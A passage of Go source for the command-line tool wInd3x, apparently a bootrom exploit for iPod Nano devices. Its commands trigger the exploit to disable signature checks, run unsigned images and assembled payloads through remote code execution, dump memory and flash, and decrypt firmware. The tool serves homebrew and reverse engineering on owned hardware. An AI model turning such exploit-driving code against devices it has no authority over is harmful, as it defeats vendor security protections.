fwb, err := os.ReadFile(args[0]) if err != nil { return err } wtf, err := cache.Get(&app.App, cache.PayloadKindWTFDefanged) if err != nil { return err } if err := haxeddfu.Trigger(app.Usb, app.Ep, false); err != nil { return fmt.Errorf("failed to run wInd3x exploit: %w", err) } slog.Info("Sending defanged WTF...") if err := dfu.SendImage(app.Usb, wtf, app.Desc.Kind.DFUVersion()); err != nil { return fmt.Errorf("failed to send image: %w", err) } _, err = image.Read(bytes.NewReader(fwb)) switch { case err == nil: case err == image.ErrNotImage1: fallthrough case len(fwb) < 0x400: slog.Info("Given firmware file is not IMG1, packing into one...") fwb, err = image.MakeUnsigned(app.Desc.Kind, 0, fwb) if err != nil { return err } default: return err } slog.Info("Waiting 10s for device to switch to WTF mode...") ctx, ctxC := context.WithTimeout(cmd.Context(), 10*time.Second) defer ctxC() if err := app.waitSwitch(ctx, devices.WTF); err != nil { return fmt.Errorf("device did not switch to WTF mode: %w", err) } time.Sleep(time.Second) slog.Info("Sending firmware...") for i := 0; i < 10; i++ { err = dfu.SendImage(app.Usb, fwb, app.Desc.Kind.DFUVersion()) if err == nil { break } else { slog.Error("Error when sending firmware", "err", err) time.Sleep(time.Second) } } if err != nil { return err } slog.Info("Done.") return nil }, } ================================================ FILE: cmd/wInd3x/cmd_decrypt.go ================================================ package main import ( "fmt" "log/slog" "os" "github.com/freemyipod/wInd3x/pkg/exploit/decrypt" "github.com/freemyipod/wInd3x/pkg/image" "github.com/spf13/cobra" ) var decryptRecovery string var decryptCmd = &cobra.Command{ Use: "decrypt [input] [output]", Short: "Decrypt DFU image", Long: "Uses a connected device to decrypt a DFU image into a Haxed DFU compatible plaintext DFU image.", Args: cobra.ExactArgs(2), RunE: func(cmd *cobra.Command, args []string) error { f, err := os.Open(args[0]) if err != nil { return fmt.Errorf("could not open input: %w", err) } img, err := image.Read(f) if err != nil { return fmt.Errorf("could not read image: %w", err) } app, err := newDFU() if err != nil { return err } defer app.Close() if app.Desc.Kind != img.DeviceKind { return fmt.Errorf("image is for %s, but %s is connected", img.DeviceKind, app.Desc.Kind) } res, err := decrypt.Decrypt(&app.App, img.Body, decryptRecovery) if err != nil { return err } // Write image. wrapped, err := image.MakeUnsigned(img.DeviceKind, img.Header.Entrypoint, res) if err != nil { return fmt.Errorf("could not make image: %w", err) } if err := os.WriteFile(args[1], wrapped, 0600); err != nil { return fmt.Errorf("could not write image: %w", err) } slog.Info("Done!") return nil }, } ================================================ FILE: cmd/wInd3x/cmd_download.go ================================================ package main import ( "fmt" "log/slog" "os" "sort" "strings" "github.com/freemyipod/wInd3x/pkg/cache" "github.com/spf13/cobra" ) var downloadBits = map[string]cache.PayloadKind{ "wtf": cache.PayloadKindWTFUpstream, "bootloader": cache.PayloadKindBootloaderUpstream, "retailos": cache.PayloadKindRetailOSUpstream, "diags": cache.PayloadKindDiagsUpstream, } var downloadCmd = &cobra.Command{ Use: "download [kind] [output path]", Short: "Download update files from Apple's CDN", Args: cobra.ExactArgs(2), RunE: func(cmd *cobra.Command, args []string) error { app, err := newDFU() if err != nil { return err } defer app.Close() kind, ok := downloadBits[args[0]] if !ok { var opts []string for k := range downloadBits { opts = append(opts, k) } sort.Strings(opts) return fmt.Errorf("invalid kind, must be one of: %s", strings.Join(opts, ", ")) } by, err := cache.Get(&app.App, kind) if err != nil { return err } if err := os.WriteFile(args[1], by, 0600); err != nil { return err } slog.Info("Wrote file", "kind", args[0], "path", args[1]) return nil }, } ================================================ FILE: cmd/wInd3x/cmd_dump.go ================================================ package main import ( "fmt" "log/slog" "os" "time" "github.com/spf13/cobra" "github.com/freemyipod/wInd3x/pkg/exploit/dumpmem" ) var dumpCmd = &cobra.Command{ Use: "dump [offset] [size] [file]", Short: "Dump memory to file", Long: "Read memory from a connected device and write results to a file. Not very fast.", Args: cobra.ExactArgs(3), RunE: func(cmd *cobra.Command, args []string) error { app, err := newDFU() if err != nil { return err } defer app.Close() offset, err := parseNumber(args[0]) if err != nil { return fmt.Errorf("invalid offset") } size, err := parseNumber(args[1]) if err != nil { return fmt.Errorf("invalid size") } f, err := os.Create(args[2]) if err != nil { return fmt.Errorf("could not open file for writing: %w", err) } defer f.Close() start := time.Now() for i := uint32(0); i < size; i += 0x40 { o := offset + i slog.Info("Dumping...", "offset", o) data, err := dumpmem.Trigger(app.Usb, app.Ep, o) if err != nil { return fmt.Errorf("failed to run wInd3x exploit: %w", err) } if _, err := f.Write(data); err != nil { return fmt.Errorf("failed to write: %w", err) } } took := time.Since(start) slog.Info("Done!", "bytes", size, "seconds", int(took.Seconds()), "bps", int(float64(size)/took.Seconds())) return nil }, } ================================================ FILE: cmd/wInd3x/cmd_haxdu.go ================================================ package main import ( "fmt" "github.com/spf13/cobra" "github.com/freemyipod/wInd3x/pkg/exploit/haxeddfu" ) var haxDFUCmd = &cobra.Command{ Use: "haxdfu", Short: "Started 'haxed dfu' mode on a device", Long: "Runs the wInd3x exploit to turn off security measures in the DFU that's currently running on a connected devices, allowing unsigned/unencrypted images to run.", RunE: func(cmd *cobra.Command, args []string) error { app, err := newDFU() if err != nil { return err } defer app.Close() if err := haxeddfu.Trigger(app.Usb, app.Ep, false); err != nil { return fmt.Errorf("failed to run wInd3x exploit: %w", err) } return nil }, } ================================================ FILE: cmd/wInd3x/cmd_makedfu.go ================================================ package main import ( "fmt" "os" "strings" "github.com/spf13/cobra" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/image" ) var ( makeDFUEntrypoint string makeDFUDeviceKind string ) var makeDFUCmd = &cobra.Command{ Use: "makedfu [input] [output]", Short: "Build 'haxed dfu' unsigned image from binary", Long: "Wraps a flat binary (loadable at 0x2200_0000) into an unsigned and unencrypted DFU image, to use with haxdfu/run.", Args: cobra.ExactArgs(2), RunE: func(cmd *cobra.Command, args []string) error { data, err := os.ReadFile(args[0]) if err != nil { return fmt.Errorf("could not read input: %w", err) } var kind devices.Kind switch strings.ToLower(makeDFUDeviceKind) { case "": return fmt.Errorf("--kind must be set (one of: n3g, n4g, n5g)") case "n3g": kind = devices.Nano3 case "n4g": kind = devices.Nano4 case "n5g": kind = devices.Nano5 default: return fmt.Errorf("--kind must be one of: n3g, n4g, n5g") } entrypoint, err := parseNumber(makeDFUEntrypoint) if err != nil { return fmt.Errorf("invalid entrypoint") } wrapped, err := image.MakeUnsigned(kind, entrypoint, data) if err != nil { return fmt.Errorf("could not make image: %w", err) } if err := os.WriteFile(args[1], wrapped, 0600); err != nil { return fmt.Errorf("could not write image: %w", err) } return nil }, } ================================================ FILE: cmd/wInd3x/cmd_mse.go ================================================ package main import ( "fmt" "log/slog" "os" "path/filepath" "github.com/spf13/cobra" "github.com/freemyipod/wInd3x/pkg/mse" ) var extractDir string var mseCmd = &cobra.Command{ Use: "mse", Short: "Manipulate .mse firmware files", } var mseExtractCmd = &cobra.Command{ Use: "extract [Firmware.mse]", Short: "Extract an .mse firmware flie into images", Long: "Split an .mse file into individual images like osos, disk, etc.", Args: cobra.ExactArgs(1), RunE: func(cmd *cobra.Command, args []string) error { f, err := os.Open(args[0]) if err != nil { return fmt.Errorf("could not read input: %w", err) } defer f.Close() m, err := mse.Parse(f) if err != nil { return fmt.Errorf("could not parse .mse: %w", err) } dir := extractDir if dir == "" { dir, err = os.Getwd() if err != nil { return fmt.Errorf("could not get working directory: %w", err) } } for _, file := range m.Files { if !file.Header.Valid() { continue } path := filepath.Join(dir, file.Header.Name.String()) slog.Info("Extracting ...", "path", path) if err := os.WriteFile(path, file.Data, 0666); err != nil { return err } } return nil }, } ================================================ FILE: cmd/wInd3x/cmd_nand_read.go ================================================ package main import ( "fmt" "log/slog" "os" "github.com/freemyipod/wInd3x/pkg/app" "github.com/freemyipod/wInd3x/pkg/dfu" "github.com/freemyipod/wInd3x/pkg/exploit" "github.com/freemyipod/wInd3x/pkg/uasm" "github.com/spf13/cobra" ) var nandCmd = &cobra.Command{ Use: "nand", Short: "NAND Flash access (EXPERIMENTAL)", Long: "Manipulate NAND Flash on the device. Currently this is EXPERIMENTAL, as the NAND access methods are not well reverse engineered.", } func nandReadPageOffset(a *app.App, bank, page, offset uint32) ([]byte, error) { ep := a.Ep usb := a.Usb listing, dataAddr := ep.NANDReadPage(bank, page, offset) listing = append(listing, ep.HandlerFooter(dataAddr)...) read := uasm.Program{ Address: ep.ExecAddr(), Listing: listing, } if err := dfu.Clean(usb); err != nil { return nil, fmt.Errorf("clean failed: %w", err) } resBuf, err := exploit.RCE(usb, ep, read.Assemble(), nil) if err != nil { return nil, fmt.Errorf("failed to execute read payload: %w", err) } return resBuf, nil } func nandIdentify(a *app.App) ([]byte, error) { ep := a.Ep usb := a.Usb listing, dataAddr := ep.NANDIdentify() listing = append(listing, ep.HandlerFooter(dataAddr)...) read := uasm.Program{ Address: ep.ExecAddr(), Listing: listing, } if err := dfu.Clean(usb); err != nil { return nil, fmt.Errorf("clean failed: %w", err) } resBuf, err := exploit.RCE(usb, ep, read.Assemble(), nil) if err != nil { return nil, fmt.Errorf("failed to execute read payload: %w", err) } return resBuf, nil } var nandIdentifyCmd = &cobra.Command{ Use: "identify [bank]", Short: "Read NAND identifier for bank", Long: "Read NAND identifer for bank", Args: cobra.ExactArgs(1), RunE: func(cmd *cobra.Command, args []string) error { app, err := newDFU() if err != nil { return err } defer app.Close() bank, err := parseNumber(args[0]) if err != nil { return fmt.Errorf("invalid bank") } ep := app.Ep usb := app.Usb listing := ep.DisableICache() payload, err := ep.NANDInit(bank) if err != nil { return err } listing = append(listing, payload...) listing = append(listing, ep.HandlerFooter(0x20000000)...) init := uasm.Program{ Address: ep.ExecAddr(), Listing: listing, } if err := dfu.Clean(app.Usb); err != nil { return fmt.Errorf("clean failed: %w", err) } if _, err := exploit.RCE(usb, ep, init.Assemble(), nil); err != nil { return fmt.Errorf("failed to execute init payload: %w", err) } data, err := nandIdentify(&app.App) if err != nil { return err } fmt.Printf("JEDEC manufacturer ID: 0x%02X\n", data[0]) fmt.Printf("JEDEC device ID: 0x%02X 0x%02X 0x%02X\n", data[1], data[2], data[3]) return nil }, } var nandReadCmd = &cobra.Command{ Use: "read [bank] [file]", Short: "Read NAND bank", Long: "Read a 0x60000 'bank' (maybe?) of NAND. Slowly. Bank 0 contains the bootloader.", Args: cobra.ExactArgs(2), RunE: func(cmd *cobra.Command, args []string) error { app, err := newDFU() if err != nil { return err } defer app.Close() bank, err := parseNumber(args[0]) if err != nil { return fmt.Errorf("invalid bank") } ep := app.Ep usb := app.Usb f, err := os.Create(args[1]) if err != nil { return err } listing := ep.DisableICache() payload, err := ep.NANDInit(bank) if err != nil { return err } listing = append(listing, payload...) listing = append(listing, ep.HandlerFooter(0x20000000)...) init := uasm.Program{ Address: ep.ExecAddr(), Listing: listing, } if err := dfu.Clean(app.Usb); err != nil { return fmt.Errorf("clean failed: %w", err) } if _, err := exploit.RCE(usb, ep, init.Assemble(), nil); err != nil { return fmt.Errorf("failed to execute init payload: %w", err) } for p := uint32(0); p < 0x100; p += 1 { slog.Info("Progress...", "percent", float32(p)*100/0x100) for offs := uint32(0); offs < 0x600; offs += 0x40 { data, err := nandReadPageOffset(&app.App, bank, p, offs) if err != nil { return err } f.Write(data) } } return nil }, } ================================================ FILE: cmd/wInd3x/cmd_nor_read.go ================================================ package main import ( "fmt" "io" "log/slog" "os" "github.com/freemyipod/wInd3x/pkg/app" "github.com/freemyipod/wInd3x/pkg/dfu" "github.com/freemyipod/wInd3x/pkg/exploit" "github.com/freemyipod/wInd3x/pkg/uasm" "github.com/spf13/cobra" ) var norCmd = &cobra.Command{ Use: "nor", Short: "NOR Flash access (EXPERIMENTAL)", Long: "Manipulate SPI NOR Flash on the device. Currently this is EXPERIMENTAL, as the SPI NOR access methods are not well reverse engineered.", } func readNOR(app *app.App, w io.Writer, spino, offset, size uint32) error { ep := app.Ep usb := app.Usb listing := ep.DisableICache() payload, err := ep.NORInit(spino) if err != nil { return err } listing = append(listing, payload...) listing = append(listing, ep.HandlerFooter(0x20000000)...) init := uasm.Program{ Address: ep.ExecAddr(), Listing: listing, } if err := dfu.Clean(app.Usb); err != nil { return fmt.Errorf("clean failed: %w", err) } if _, err := exploit.RCE(usb, ep, init.Assemble(), nil); err != nil { return fmt.Errorf("failed to execute init payload: %w", err) } for i := uint32(0); i < size; i += 0x40 { listing, dataAddr := ep.NORRead(spino, offset+i) listing = append(listing, ep.HandlerFooter(dataAddr)...) read := uasm.Program{ Address: ep.ExecAddr(), Listing: listing, } if err := dfu.Clean(app.Usb); err != nil { return fmt.Errorf("clean failed: %w", err) } data, err := exploit.RCE(usb, ep, read.Assemble(), nil) if err != nil { return fmt.Errorf("failed to execute read payload: %w", err) } if _, err := w.Write(data); err != nil { return fmt.Errorf("failed to write: %w", err) } } return nil } var norReadCmd = &cobra.Command{ Use: "read [spino] [address] [count] [file]", Short: "Read NOR flash", Long: "Read N bytes from an address from given SPI peripheral.", Args: cobra.ExactArgs(4), RunE: func(cmd *cobra.Command, args []string) error { app, err := newDFU() if err != nil { return err } defer app.Close() spino, err := parseNumber(args[0]) if err != nil { return fmt.Errorf("invalid spi peripheral number") } address, err := parseNumber(args[1]) if err != nil { return fmt.Errorf("invalid address") } count, err := parseNumber(args[2]) if err != nil { return fmt.Errorf("invalid count") } f, err := os.Create(args[3]) if err != nil { return err } slog.Info("Reading NOR...", "address", address, "spi", spino, "bytes", count) err = readNOR(&app.App, f, spino, address, count) if err != nil { return err } slog.Info("Done") return nil }, } ================================================ FILE: cmd/wInd3x/cmd_restore.go ================================================ package main import ( "context" "fmt" "log/slog" "time" "github.com/spf13/cobra" "github.com/freemyipod/wInd3x/pkg/cache" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/dfu" "github.com/freemyipod/wInd3x/pkg/usbms" ) var restoreFull bool var restoreVersion string var restoreCmd = &cobra.Command{ Use: "restore", Short: "Restore iPod to stock firmware", Long: "Restores an iPod to stock/factory firmware from DFU mode, downloading everything necessary along the way. You _will_ lose all data stored on the device.", Args: cobra.ExactArgs(0), RunE: func(cmd *cobra.Command, args []string) error { app, err := newAny() if err != nil { return err } defer app.Close() hasBootloader := true switch app.Desc.Kind { case devices.Nano3: hasBootloader = false } switch restoreVersion { case "list": versions := cache.GetFirmwareVersions(app.Desc.Kind) slog.Info("Available versions:", "kind", app.Desc.Kind) for _, version := range versions { slog.Info(fmt.Sprintf("- %s", version)) } return nil case "", "current": default: cache.FirmwareVersionOverrides = map[devices.Kind]string{ app.Desc.Kind: restoreVersion, } } firmware, err := cache.Get(&app.App, cache.PayloadKindFirmwareUpstream) if err != nil { return fmt.Errorf("could not get firmware: %w", err) } var bootloader []byte if hasBootloader { bootloader, err = cache.Get(&app.App, cache.PayloadKindBootloaderUpstream) if err != nil { return fmt.Errorf("could not get bootloader: %s", err) } } for { slog.Info("Found device", "device", app.Desc.Kind, "interface", app.InterfaceKind) switch app.InterfaceKind { case devices.DFU: wtf, err := cache.Get(&app.App, cache.PayloadKindWTFUpstream) if err != nil { return fmt.Errorf("could not get wtf payload: %s", err) } slog.Info("Sending WTF...") if err := dfu.SendImage(app.Usb, wtf, app.Desc.Kind.DFUVersion()); err != nil { return fmt.Errorf("Failed to send image: %w", err) } slog.Info("Waiting 10s for device to switch to WTF mode...") ctx, _ := context.WithTimeout(cmd.Context(), 10*time.Second) if err := app.waitSwitch(ctx, devices.WTF); err != nil { return fmt.Errorf("device did not switch to WTF mode: %w", err) } time.Sleep(time.Second) case devices.WTF: recovery, err := cache.Get(&app.App, cache.PayloadKindRecoveryUpstream) if err != nil { return fmt.Errorf("could not get recovery payload: %s", err) } slog.Info("Sending recovery firmware...") for i := 0; i < 10; i++ { err = dfu.SendImage(app.Usb, recovery, app.Desc.Kind.DFUVersion()) if err == nil { break } else { slog.Error("Sending recovery failed", "err", err) time.Sleep(time.Second) } } if err != nil { return err } slog.Info("Waiting 30s for device to switch to Recovery mode...") ctx, _ := context.WithTimeout(cmd.Context(), 30*time.Second) if err := app.waitSwitch(ctx, devices.Disk); err != nil { return fmt.Errorf("device did not switch to Recovery mode: %w", err) } time.Sleep(time.Second) case devices.Disk: h := usbms.Host{ Endpoints: app.MSEndpoints, } di, err := h.IPodDeviceInformation() if err != nil { slog.Error("Could not get device information", "err", err) } else { fmt.Printf("SerialNumber: %s\n", di.SerialNumber) fmt.Printf(" BuildID: %s\n", di.BuildID) } if restoreFull { partsize := len(firmware) slog.Info("Reformatting system partition...", "mib", partsize>>20) if err := h.IPodRepartition(partsize); err != nil { return fmt.Errorf("repartitioning failed: %w", err) } if hasBootloader { slog.Info("Writing bootloader...") if err := h.IPodUpdateSendFull(usbms.IPodUpdateBootloader, bootloader); err != nil { return fmt.Errorf("writing bootloader failed: %w", err) } } } slog.Info("Writing firmware...") if err := h.IPodUpdateSendFull(usbms.IPodUpdateFirmware, firmware); err != nil { return fmt.Errorf("writing firmware failed: %w", err) } if restoreFull { slog.Info("Finalizing...") if err := h.IPodFinalize(false); err != nil { return fmt.Errorf("rebooting failed: %w", err) } slog.Info("Please reformat the main partition of the device as FAT32, otherwise it will refuse to boot.") } else { slog.Info("Resetting...") if err := h.IPodFinalize(true); err != nil { return fmt.Errorf("rebooting failed: %w", err) } } return nil } } }, } ================================================ FILE: cmd/wInd3x/cmd_run.go ================================================ package main import ( "bytes" "fmt" "log/slog" "os" "github.com/spf13/cobra" "github.com/freemyipod/wInd3x/pkg/dfu" "github.com/freemyipod/wInd3x/pkg/exploit/haxeddfu" "github.com/freemyipod/wInd3x/pkg/image" ) var runCmd = &cobra.Command{ Use: "run [dfu image path]", Short: "Run a DFU image on a device", Long: "Run a DFU image (signed/encrypted or unsigned) on a connected device, starting haxed dfu mode first if necessary.", Args: cobra.ExactArgs(1), RunE: func(cmd *cobra.Command, args []string) error { app, err := newDFU() if err != nil { return err } defer app.Close() if err := haxeddfu.Trigger(app.Usb, app.Ep, false); err != nil { return fmt.Errorf("failed to run wInd3x exploit: %w", err) } path := args[0] slog.Info("Uploading...", "path", path) data, err := os.ReadFile(path) if err != nil { return fmt.Errorf("Failed to read image: %w", err) } _, err = image.Read(bytes.NewReader(data)) switch { case err == nil: case err == image.ErrNotImage1: fallthrough case len(data) < 0x400: slog.Info("Given firmware file is not IMG1, packing into one...") data, err = image.MakeUnsigned(app.Desc.Kind, 0, data) if err != nil { return err } default: return err } if err := dfu.Clean(app.Usb); err != nil { return fmt.Errorf("Failed to clean: %w", err) } if err := dfu.SendImage(app.Usb, data, app.Desc.Kind.DFUVersion()); err != nil { return fmt.Errorf("Failed to send image: %w", err) } slog.Info("Image sent.") return nil }, } ================================================ FILE: cmd/wInd3x/cmd_spew.go ================================================ package main import ( "bytes" "encoding/binary" "fmt" "os" "strings" "github.com/freemyipod/wInd3x/pkg/app" "github.com/freemyipod/wInd3x/pkg/devices" "github.com/freemyipod/wInd3x/pkg/dfu" "github.com/freemyipod/wInd3x/pkg/exploit" "github.com/freemyipod/wInd3x/pkg/syscfg" "github.com/freemyipod/wInd3x/pkg/uasm" "github.com/spf13/cobra" ) func readFrom(app *app.App, addr uint32) ([]byte, error) { if err := dfu.Clean(app.Usb); err != nil { return nil, fmt.Errorf("clean failed: %w", err) } dump := uasm.Program{ Address: app.Ep.ExecAddr(), Listing: app.Ep.HandlerFooter(addr), } res, err := exploit.RCE(app.Usb, app.Ep, dump.Assemble(), nil) if err != nil { return nil, fmt.Errorf("failed to execute dump payload: %w", err) } return res, nil } func readCP15(app *app.App, register, reg2, opc2 uint8) (uint32, error) { insns := app.Ep.DisableICache() insns = append(insns, uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x22000100)}, // Read ID code. uasm.Mrc{CPn: 15, Opc: 0, Dest: uasm.R0, CRn: register, CRm: reg2, Opc2: opc2}, uasm.Str{Src: uasm.R0, Dest: uasm.Deref(uasm.R1, 0)}, ) insns = append(insns, app.Ep.HandlerFooter(0x22000100)...) program := uasm.Program{ Address: app.Ep.ExecAddr(), Listing: insns, } if err := dfu.Clean(app.Usb); err != nil { return 0, fmt.Errorf("clean failed: %w", err) } data, err := exploit.RCE(app.Usb, app.Ep, program.Assemble(), nil) if err != nil { return 0, fmt.Errorf("Failed to read ID code: %w", err) } var idcode uint32 binary.Read(bytes.NewBuffer(data), binary.LittleEndian, &idcode) return idcode, nil } func readCP14(app *app.App, opc2, reg2 uint8) (uint32, error) { insns := app.Ep.DisableICache() insns = append(insns, uasm.Ldr{Dest: uasm.R1, Src: uasm.Constant(0x22000100)}, // Read ID code. uasm.Mrc{CPn: 14, Opc: 0, Dest: uasm.R0, CRn: 0, CRm: reg2, Opc2: opc2}, uasm.Str{Src: uasm.R0, Dest: uasm.Deref(uasm.R1, 0)}, ) insns = append(insns, app.Ep.HandlerFooter(0x22000100)...) program := uasm.Program{ Address: app.Ep.ExecAddr(), Listing: insns, } if err := dfu.Clean(app.Usb); err != nil { return 0, fmt.Errorf("clean failed: %w", err) } data, err := exploit.RCE(app.Usb, app.Ep, program.Assemble(), nil) if err != nil { return 0, fmt.Errorf("Failed to read ID code: %w", err) } var idcode uint32 binary.Read(bytes.NewBuffer(data), binary.LittleEndian, &idcode) return idcode, nil } func dumpCP15(app *app.App) { is1176 := false idcode, err := readCP15(app, 0, 0, 0) partnum := (idcode >> 4) & 0xfff if err != nil { fmt.Printf("Failed to read ID Code: %v", err) } else { fmt.Printf("ID code: 0x%08x\n", idcode) switch (idcode >> 24) & 0xff { case 'A': fmt.Printf(" Implementer: ARM\n") default: fmt.Printf(" Implementer: unknown (0x%02x)\n", (idcode>>24)&0xff) } fmt.Printf(" Variant: 0x%x\n", (idcode>>20)&0xf) switch (idcode >> 16) & 0xf { case 6: fmt.Printf(" Architecture: ARMv5TEJ\n") case 0xf: fmt.Printf(" Architecture: See CPUID\n") is1176 = true default: fmt.Printf(" Architecture: unknown (%0x)\n", (idcode>>16)&0xf) } fmt.Printf(" Part number: %03x, Revision: %x\n", partnum, idcode&0xf) } fmt.Println("Extra Junk:") for _, el := range []struct { only1176 bool reg1 uint8 reg2 uint8 opc2 uint8 desc string }{ {false, 0, 0, 0, "Main ID"}, {false, 0, 0, 1, "Cache Type"}, {false, 0, 0, 2, "TCM Status"}, {false, 0, 0, 3, "TLB Type"}, {true, 0, 1, 0, "Processor Feature 0"}, {true, 0, 1, 1, "Processor Feature 1"}, {true, 0, 1, 2, "Debug Feature 0"}, {true, 0, 1, 3, "Auxiliary Feature 0"}, {true, 0, 1, 4, "Memory Model Feature 0"}, {true, 0, 1, 5, "Memory Model Feature 1"}, {true, 0, 1, 6, "Memory Model Feature 2"}, {true, 0, 1, 7, "Memory Model Feature 3"}, {true, 0, 2, 0, "Instruction Set Feature Attribute 0"}, {true, 0, 2, 1, "Instruction Set Feature Attribute 1"}, {true, 0, 2, 2, "Instruction Set Feature Attribute 2"}, {true, 0, 2, 3, "Instruction Set Feature Attribute 3"}, {true, 0, 2, 4, "Instruction Set Feature Attribute 4"}, {true, 0, 2, 5, "Instruction Set Feature Attribute 5"}, {false, 1, 0, 0, "Control"}, {true, 1, 0, 1, "Auxiliary Control"}, {true, 1, 0, 2, "Coprocessor Access Control"}, {true, 1, 1, 0, "Secure Configuration"}, {true, 1, 1, 1, "Secure Debug Enable"}, {true, 1, 1, 2, "Non-Secure Access Control"}, {false, 2, 0, 0, "Translation Table Base 0"}, {true, 2, 0, 1, "Translation Table Base 1"}, {true, 2, 0, 2, "Translation Table Base Control"}, {false, 3, 0, 0, "Domain Access Control"}, {true, 7, 4, 0, "PCA"}, {true, 7, 10, 6, "Cache Dirty Status"}, {false, 9, 0, 0, "Data Cache Lockdown"}, {false, 9, 0, 1, "Instruction Cache Lockdown"}, {false, 9, 1, 0, "Data TCM Region"}, {false, 9, 1, 1, "Instruction TCM Region"}, {true, 9, 1, 2, "Data TCM Non-secure Control Access"}, {true, 9, 1, 3, "Instruction TCM Non-secure Control Access"}, {true, 9, 2, 0, "TCM Selection"}, {true, 9, 8, 0, "Cache Behavior Override"}, } { if el.only1176 && !is1176 { continue } // Ugly hack to skip some CP15 reads on Cortex A5 (N7G) // TODO(q3k): clean all of this up if partnum == 0xc05 && el.reg1 > 3 { continue } res, err := readCP15(app, el.reg1, el.reg2, el.opc2) fmt.Printf(" CP15 c%d,c%d,%d (%s): ", el.reg1, el.reg2, el.opc2, el.desc) if err != nil { fmt.Printf("error: %v\n", err) } else { fmt.Printf("%08x\n", res) } } } type peripheral struct { name string registers []register } type register struct { name string address uint32 parse func(v uint32) } var n3gates = map[int]string{ 0x00: "SHA", 0x01: "LCD", 0x02: "USBOTG", 0x03: "SMx", 0x04: "SM1", 0x0A: "AES", 0x08: "NAND", 0x0C: "NANDECC", 0x19: "DMAC0", 0x1A: "DMAC1", 0x1E: "ROM", 0x22: "SPI0", 0x23: "USBPHY", 0x2B: "SPI1", 0x2C: "GPIO", 0x2E: "CHIPID", 0x2F: "SPI2", } func printN3Gates(v uint32) { var gates []string for i := 0; i < 32; i++ { if (v & (1 << i)) == 0 { gate := n3gates[i] if gate == "" { gate = fmt.Sprintf("%d", i) } gates = append(gates, gate) } } fmt.Printf("%08x, %s\n", v, strings.Join(gates, ",")) } var peripherals = map[devices.Kind][]peripheral{ devices.Nano5: []peripheral{ {name: "CHIPID", registers: []register{ // eg. 00000001 {name: "CID_VALID", address: 0x3d10_0000}, // eg. 19000011 {name: "CHIPIDL", address: 0x3d10_0004}, // eg. 8730000b {name: "CHIPIDH", address: 0x3d10_0008}, {name: "DIEIDL", address: 0x3d10_000C}, {name: "DIEIDH", address: 0x3d10_0010}, // eg. 00000004 {name: "ECID_VERSION", address: 0x3d10_0014}, }}, }, devices.Nano3: []peripheral{ {name: "CLKGEN", registers: []register{ {name: "CLKCON0", address: 0x3c50_0000}, {name: "CLKCON1", address: 0x3c50_0004}, {name: "CLKCON2", address: 0x3c50_0008}, {name: "CLKCON3", address: 0x3c50_000C}, {name: "CLKCON4", address: 0x3c50_0010}, {name: "CLKCON5", address: 0x3c50_0014}, {name: "PLL0PMS", address: 0x3c50_0020}, {name: "PLL1PMS", address: 0x3c50_0024}, {name: "PLL2PMS", address: 0x3c50_0028}, {name: "PLLCNT0", address: 0x3c50_0030}, {name: "PLLCNT1", address: 0x3c50_0034}, {name: "PLLCNT2", address: 0x3c50_0038}, {name: "PLLLOCK", address: 0x3c50_0040}, {name: "PLLMODE", address: 0x3c50_0044}, {name: "GATES0", address: 0x3c50_0048, parse: func(v uint32) { printN3Gates(v) }}, {name: "GATES1", address: 0x3c50_004C, parse: func(v uint32) { printN3Gates(v + 0x20) }}, {name: "SWRCON", address: 0x3c50_0050}, {name: "RSTSR", address: 0x3c50_0054}, {name: "PWRCON2", address: 0x3c50_0058}, {name: "PWRMOD2", address: 0x3c50_0060}, {name: "PWRCON3", address: 0x3c50_0068}, {name: "PWRCON4", address: 0x3c50_006c}, }}, {name: "WATCHDOG", registers: []register{ {name: "WDTCON", address: 0x3c80_0000}, {name: "WDTCNT", address: 0x3c80_0004}, }}, {name: "CHIPID", registers: []register{ {name: "CHIPIDUNK", address: 0x3d10_0000}, // eg. 84000019 {name: "CHIPIDL", address: 0x3d10_0004}, // eg. 00008702 {name: "CHIPIDH", address: 0x3d10_0008}, {name: "DIEIDL", address: 0x3d10_000C}, {name: "DIEIDH", address: 0x3d10_0010}, }}, {name: "EDGEIC", registers: []register{ {name: "UNK0", address: 0x38e0_2000}, {name: "UNK4", address: 0x38e0_2004}, {name: "UNK8", address: 0x38e0_2008}, {name: "UNKC", address: 0x38e0_200c}, }}, // Named per N3G/N4G rockbox branch. {name: "SYSALV", registers: []register{ {name: "ALVCON", address: 0x39a0_0000}, {name: "ALVUNK4", address: 0x39a0_0004}, {name: "ALVUNK100", address: 0x39a0_0100}, {name: "ALVUNK104", address: 0x39a0_0104}, {name: "ALVTCOM", address: 0x39a0_006c}, {name: "ALVTEND", address: 0x39a0_0070}, {name: "ALVTDIV", address: 0x39a0_0074}, {name: "ALVTCNT", address: 0x39a0_0078}, {name: "ALVTSTAT", address: 0x39a0_007c}, }}, }, } var spewCmd = &cobra.Command{ Use: "spew", Short: "Display information about the connected device", Long: "Displays SysCfg, GPIO, ... info from the connected device. Useful for reverse engineering and development.", Args: cobra.ExactArgs(0), RunE: func(cmd *cobra.Command, args []string) error { app, err := newDFU() if err != nil { return err } defer app.Close() fmt.Println("\nCP15") fmt.Println("----") dumpCP15(&app.App) fmt.Println("\nCP14 (debug)") fmt.Println("----") fmt.Printf(" DIDR: ") didr, err := readCP14(&app.App, 0, 0) if err != nil { fmt.Printf("error: %v\n", err) } else { // 0x1512_1004 // Watchpoint pairs: 1 // Breakpoint pairs: 5 // Breakpoint pairs with context ID: 1 // Debug architecture: 2 (v6.1) // Trustzone Features // Revision: 4, Variant: 0, fmt.Printf("0x%08x\n", didr) } fmt.Printf(" DSCR: ") dscr, err := readCP14(&app.App, 0, 1) if err != nil { fmt.Printf("error: %v\n", err) } else { // 0x0000_0002 fmt.Printf("0x%08x\n", dscr) } fmt.Println("\nSysCfg") fmt.Println("------") syscfgBuf := bytes.NewBuffer(nil) err = readNOR(&app.App, syscfgBuf, 0, 0, 0x100) if err != nil { fmt.Printf("Failed to read syscfg: %v\n", err) } else { scfg, err := syscfg.Parse(syscfgBuf) if err != nil { return fmt.Errorf("failed to parse syscfg: %w", err) } scfg.Debug(os.Stdout) } for _, p := range peripherals[app.Desc.Kind] { fmt.Printf("\n%s\n", p.name) fmt.Printf("%s\n", strings.Repeat("-", len(p.name))) for _, reg := range p.registers { data, err := readFrom(&app.App, reg.address) fmt.Printf(" %s: ", reg.name) if err != nil { fmt.Printf("error: %v\n", err) } else { var u32 uint32 